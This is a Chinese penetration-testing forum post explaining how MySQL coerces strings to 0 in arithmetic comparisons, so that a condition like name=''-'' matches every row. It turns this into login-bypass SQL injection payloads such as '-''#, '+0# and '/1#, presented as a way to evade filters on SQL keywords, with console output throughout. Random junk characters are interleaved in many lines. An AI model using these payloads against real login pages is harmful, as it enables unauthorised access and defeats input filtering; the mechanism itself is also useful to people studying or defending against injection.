中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。
* g9 w/ _9 H$ a1 a) M/ x* N有以下表结构: ) h1 Y. H7 t9 F# [/ A5 X$ K. y
# L& J; }  D4 @" s" o$ ~& v5 [* \
mysql> desc admin;$ x' S0 m# h, |2 f& i
+----------+--------------+------+-----+---------+----------------+% ?7 a( Z. B  h5 ^  f
| Field    | Type         | Null | Key | Default | Extra          |
+ }/ o- Y0 q$ g( ~+----------+--------------+------+-----+---------+----------------+
" B' Q4 e3 ^7 }2 Y4 `" O| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |# ?; k1 K6 u1 c- o* R. M
| name     | char(32)     | NO   | UNI | NULL    |                |& _! y3 q4 w) V* \
| password | char(32)     | NO   | UNI | NULL    |                |/ c* ^; N( j5 E, K! F
+----------+--------------+------+-----+---------+----------------+; E: a/ R7 m& `3 `/ J
3 rows in set (0.00 sec)) V7 d' u/ b! ?4 s8 x
执行select * from admin;,成功返回所有记录内容。7 e, i) v9 y, w8 o
0 ^4 M4 n  |7 S

+ f+ l, c) C4 n& s  U& \; g' _( ^9 o+----+--------+----------------------------------+
, J5 }5 Y1 K8 t( B9 G| id | name   | password                         |( e0 @1 M8 N; g
+----+--------+----------------------------------+
3 O4 L0 o1 k; B1 @( T  _& ~|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
: \2 V! O6 j: u# U|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
2 R- ?! Y* T* r|  4 | n00b   | ff80e8508d39047460921792273533a4 |
9 t5 c1 p9 ~8 \$ F& V+----+--------+----------------------------------+2 W& O8 }& R; p
3 rows in set (0.00 sec): y5 y% u0 ~6 r" Z, a- n* M
执行select * from admin where name=”;,没有匹配到任何记录。
4 a1 C  k5 A0 C/ G) g1 Q$ v' Y- q% v3 K% |, ^& g$ ^
mysql> select * from admin where name = '';5 s0 A% q8 X6 n1 A. a0 V5 X+ S% d
Empty set (0.00 sec)- g9 z, ~2 d% W- @/ o$ S( J
那么我们来执行select * from admin where name = ”-”;
5 K8 `8 d1 e( B* L8 a& S# U: U. W' P, I4 j

" M1 [" n  i! G( a6 `+----+--------+----------------------------------+
9 S' e: K4 n( ?5 Y| id | name   | password                         |& x. T% A2 m1 V/ T
+----+--------+----------------------------------+3 v# Q# s3 {. Q& ]1 z
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
; ~) j5 L1 w6 H1 D5 _( q/ c6 E1 G' D|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
. ]) B/ y5 r8 f6 g|  4 | n00b   | ff80e8508d39047460921792273533a4 |
3 h( }/ h( V9 l+----+--------+----------------------------------+* O- ~# H9 h# f  z& ^
3 rows in set, 3 warnings (0.00 sec)
& H* R7 V3 O7 s8 _  X9 y/ y可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
- u, T0 T6 U2 A) N2 |
3 L2 |8 Z1 y: \% vmysql> show warnings;7 O9 q' x# R& `, A( Q. f
+---------+------+------------------------------------------
4 T! [  F  i( a' i; e2 A1 _| Level   | Code | Message+ Q- o1 n' Y4 R0 _8 J
+---------+------+------------------------------------------- ?! `6 i$ B, l: s$ t9 e
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin: X) J% n8 }. ?
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s+ W. Z: z  Q, T  T  ?: @  C
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b2 W1 Q1 k) i+ n1 [: |. x
+---------+------+------------------------------------------8 X) F. T) O- [' X$ {: K* S
3 rows in set (0.00 sec)
# a0 o) H) i& g; s. ?! Q1 L% ^提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
" b* K/ i* V7 W4 n6 j  z; h% M9 c! [
mysql> select ''-'';& {) a6 m0 H; W4 `
+-------+! {, Z( r' U: J- A+ d
| ''-'' |& w# j3 e3 c- R7 m9 ~
+-------+
+ a) c& u7 ?9 O5 F|     0 |
: S: C# y% |" ]/ `( M+-------+
( ^! P8 q! e3 h4 o$ s' F1 W/ x3 G$ Y' A1 row in set (0.00 sec)
, I' }7 K! w! y# ]返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
+ O& y9 T* E: n3 F: Q7 v
- K* Q3 H* l6 X) Qmysql> select CAST((select name from admin limit 1,1) as DECIMAL);2 n# P7 d: r8 b  r' M
+-----------------------------------------------------+
7 G/ A8 U3 t: ]| CAST((select name from admin limit 1,1) as DECIMAL) |
0 I& b6 m2 r8 a# d' n+-----------------------------------------------------+
* W) N. X  R9 j2 Y|                                                   0 |
5 ]. Y7 |* i9 @5 A  l: l7 S' N+-----------------------------------------------------+
# A6 V4 i+ d7 y4 V$ B6 C  F1 row in set, 1 warning (0.00 sec)9 Y7 F6 [1 |' Q' n: w
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
' W3 a4 C/ X- Q' o0 _6 u. J+ L9 T* {/ i: b: l
SQL注入场景: http://www.sqlzoo.net/hack/ ( n; Q% ?/ s  a6 x0 I8 V

0 o; h! d4 n, t% W4 d: m& R* [% [* z4 E
& t. `' f7 J) I  ]
. Z5 {* O4 ?' k1 S
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
( Y( {) e" ^5 q: W8 ?" l
% H0 f- m! H4 X+ p那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
8 _3 |3 K3 E/ E" S7 j$ o
4 O* d2 _) ]- Z5 [: P3 I0 {% E  B2 z; Z. E5 q- s1 S2 x+ K
; b. S$ w& U# O: `

/ s, E! }4 y  z2 d2 T仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 & I' g$ S' b* T
" d3 s( o4 @3 c
   . E4 M" a: {; u0 x
- `) s4 A% ]7 g4 p; F
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
- R  E% B. G+ V8 n1 T1 [6 ?0 \0 O3 J6 I5 e  g

5 o! N( Y7 o9 e4 D% G* ^  W! ^mysql> select ''/1;' S# Z- x) Q* `$ d- Y
+------+
- s) L* D, K, k: M+ \. M| ''/1 |% {' g5 f. N+ u3 P+ ~. [. l  W
+------+6 u# U. k. v; [8 D  u, R
|    0 |
5 \2 U' \! p; o: u+------+! z. M# ~! |, Q: S( X. c
1 row in set (0.00 sec)( \0 _# W* B: F% W3 S; h8 W
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  * P, @9 \% k6 D4 \( t

6 @0 x& V+ h% R, q利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
( t" q4 S. O0 n# p' y





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2